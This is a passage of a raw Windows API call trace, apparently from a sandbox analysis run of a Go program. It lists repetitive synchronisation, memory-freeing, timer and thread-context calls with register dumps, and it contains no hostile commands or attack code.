	[0078.021] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.093] SetEvent (hEvent=0x188) returned 1
	[0078.093] VirtualFree (lpAddress=0xc00044e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.094] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.176] SetEvent (hEvent=0xf0) returned 1
	[0078.176] VirtualFree (lpAddress=0xc000444000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.176] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.217] SetEvent (hEvent=0xf0) returned 1
	[0078.217] VirtualFree (lpAddress=0xc00043e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.217] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.417] SetEvent (hEvent=0x188) returned 1
	[0078.417] SetEvent (hEvent=0xf0) returned 1
	[0078.418] VirtualFree (lpAddress=0xc000438000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.418] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.642] SetEvent (hEvent=0x188) returned 1
	[0078.642] VirtualFree (lpAddress=0xc00042e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0078.642] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.772] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0078.954] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0081.057] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.197] SetEvent (hEvent=0x188) returned 1
	[0082.197] SetEvent (hEvent=0xfc) returned 1
	[0082.197] VirtualFree (lpAddress=0xc00041e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0082.198] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.539] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.722] SetEvent (hEvent=0xf0) returned 1
	[0082.722] VirtualFree (lpAddress=0xc000414000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0082.722] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.846] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.997] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.238] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.502] VirtualFree (lpAddress=0xc000408000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0083.503] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.544] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.713] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.328] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.814] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.845] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.863] SetEvent (hEvent=0xf0) returned 1
	[0084.863] SetEvent (hEvent=0x188) returned 1
	[0084.863] VirtualFree (lpAddress=0xc0003de000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0084.863] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.877] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.995] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.998] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.000] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.330] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.425] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.478] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.557] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.597] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.641] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.723] SetEvent (hEvent=0x188) returned 1
	[0085.723] SetEvent (hEvent=0xf0) returned 1
	[0085.723] VirtualFree (lpAddress=0xc0003b4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.724] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.823] SetEvent (hEvent=0x188) returned 1
	[0085.823] SetEvent (hEvent=0xf0) returned 1
	[0085.823] VirtualFree (lpAddress=0xc0003b0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.823] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0085.967] SetEvent (hEvent=0x188) returned 1
	[0085.967] SetEvent (hEvent=0xf0) returned 1
	[0085.967] VirtualFree (lpAddress=0xc0003ac000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0085.967] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.011] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.102] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.116] SetEvent (hEvent=0xf0) returned 1
	[0086.116] SetEvent (hEvent=0x188) returned 1
	[0086.116] VirtualFree (lpAddress=0xc00039e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.116] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.123] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.127] SetEvent (hEvent=0xfc) returned 1
	[0086.127] VirtualFree (lpAddress=0xc000398000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0086.128] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.216] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.221] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.304] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.312] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.397] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.407] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.413] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0086.414] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) 

Thread:
	id = 2
	os_tid = 0x112c


Thread:
	id = 3
	os_tid = 0x111c

	[0049.734] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x92ffff710, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x92ffff710*=0xdc) returned 1
	[0049.734] VirtualQuery (in: lpAddress=0x92ffff730, lpBuffer=0x92ffff730, dwLength=0x30 | out: lpBuffer=0x92ffff730*(BaseAddress=0x92ffff000, AllocationBase=0x92fe00000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0049.735] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0049.748] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0049.771] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0050.276] SetEvent (hEvent=0xfc) returned 1
	[0050.276] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0050.482] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0050.482] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x120
	[0050.482] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x124
	[0050.482] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0050.518] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0050.519] SetEvent (hEvent=0xf0) returned 1
	[0050.519] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0050.559] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0050.600] SetEvent (hEvent=0xe4) returned 1
	[0050.600] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0050.657] SetEvent (hEvent=0xe4) returned 1
	[0050.657] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0050.681] SetEvent (hEvent=0xe4) returned 1
	[0050.681] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0050.684] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0050.684] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0050.990] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0050.991] SetEvent (hEvent=0xe4) returned 1
	[0050.991] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0051.374] SetEvent (hEvent=0xe4) returned 1
	[0051.375] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0051.456] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0051.457] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0051.678] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0051.679] SetEvent (hEvent=0xe4) returned 1
	[0051.679] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0051.770] SetEvent (hEvent=0xe4) returned 1
	[0051.770] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0053.202] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0053.202] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0055.117] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0055.117] SetEvent (hEvent=0xe4) returned 1
	[0055.117] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0055.350] SetEvent (hEvent=0xe4) returned 1
	[0055.350] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0055.429] SetEvent (hEvent=0xe4) returned 1
	[0055.429] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0055.490] SetEvent (hEvent=0xe4) returned 1
	[0055.490] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0055.517] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0055.517] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0062.251] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0062.251] SetEvent (hEvent=0xe4) returned 1
	[0062.251] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0062.316] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0062.316] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0062.391] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0062.392] SetEvent (hEvent=0xe4) returned 1
	[0062.392] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0062.443] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xd0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x92ffff198, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x92ffff198*=0x13c) returned 1
	[0062.443] SuspendThread (hThread=0x13c) returned 0x0
	[0062.443] GetThreadContext (in: hThread=0x13c, lpContext=0x92ffff1b0 | out: lpContext=0x92ffff1b0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000c9638, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x929035, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0062.464] ResumeThread (hThread=0x13c) returned 0x1
	[0062.464] CloseHandle (hObject=0x13c) returned 1
	[0062.464] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0062.544] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0062.577] SetEvent (hEvent=0xe4) returned 1
	[0062.577] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0062.619] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0062.619] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0067.428] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.429] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0067.549] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fffeef0, ulCount=0x10, ulNumEntriesRemoved=0x92fffeec8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x92fffeef0, ulNumEntriesRemoved=0x92fffeec8) returned 0
	[0067.549] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0067.600] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fffeef0, ulCount=0x10, ulNumEntriesRemoved=0x92fffeec8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x92fffeef0, ulNumEntriesRemoved=0x92fffeec8) returned 0
	[0067.600] SetEvent (hEvent=0xe4) returned 1
	[0067.600] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0067.712] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.712] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0069.227] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.227] SetEvent (hEvent=0xe4) returned 1
	[0069.227] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.257] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fffeef0, ulCount=0x10, ulNumEntriesRemoved=0x92fffeec8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x92fffeef0, ulNumEntriesRemoved=0x92fffeec8) returned 0
	[0069.258] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.273] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fffeef0, ulCount=0x10, ulNumEntriesRemoved=0x92fffeec8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x92fffeef0, ulNumEntriesRemoved=0x92fffeec8) returned 0
	[0069.273] SetEvent (hEvent=0xf0) returned 1
	[0069.273] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.363] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fffeef0, ulCount=0x10, ulNumEntriesRemoved=0x92fffeec8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x92fffeef0, ulNumEntriesRemoved=0x92fffeec8) returned 0
	[0069.363] SetEvent (hEvent=0xf0) returned 1
	[0069.363] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.370] SetEvent (hEvent=0xf0) returned 1
	[0069.370] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.399] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.400] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0069.403] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.403] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fffeef0, ulCount=0x10, ulNumEntriesRemoved=0x92fffeec8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x92fffeef0, ulNumEntriesRemoved=0x92fffeec8) returned 0
	[0069.404] SetEvent (hEvent=0xf0) returned 1
	[0069.404] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.406] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0069.409] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.410] SetEvent (hEvent=0xf0) returned 1
	[0069.410] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.429] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fffeef0, ulCount=0x10, ulNumEntriesRemoved=0x92fffeec8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x92fffeef0, ulNumEntriesRemoved=0x92fffeec8) returned 0
	[0069.429] SetEvent (hEvent=0xf0) returned 1
	[0069.429] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.454] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fffeef0, ulCount=0x10, ulNumEntriesRemoved=0x92fffeec8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x92fffeef0, ulNumEntriesRemoved=0x92fffeec8) returned 0
	[0069.454] SetEvent (hEvent=0xf0) returned 1
	[0069.454] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.508] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fffeef0, ulCount=0x10, ulNumEntriesRemoved=0x92fffeec8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x92fffeef0, ulNumEntriesRemoved=0x92fffeec8) returned 0
	[0069.508] SetEvent (hEvent=0xf0) returned 1
	[0069.508] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.511] SetEvent (hEvent=0xf0) returned 1
	[0069.511] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.526] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0069.526] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0069.529] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0069.530] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x92fffeef0, ulCount=0x10, ulNumEntriesRemoved=0x92fffeec8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x92fffeef0, ulNumEntriesRemoved=0x92fffeec8) returned 0
	[0069.530] SetEvent (hEvent=0xe4) returned 1
	[0069.530] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.672] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x929bc0, lpParameter=0xc000080400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c
	[0069.691] CloseHandle (hObject=0x13c) returned 1
	[0069.691] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0069.724] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.138] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.296] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.336] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x92ffff198, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x92ffff198*=0x178) returned 1
	[0070.336] SuspendThread (hThread=0x178) returned 0x0
	[0070.336] GetThreadContext (in: hThread=0x178, lpContext=0x92ffff1b0 | out: lpContext=0x92ffff1b0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000231d30, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x987b4f, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, 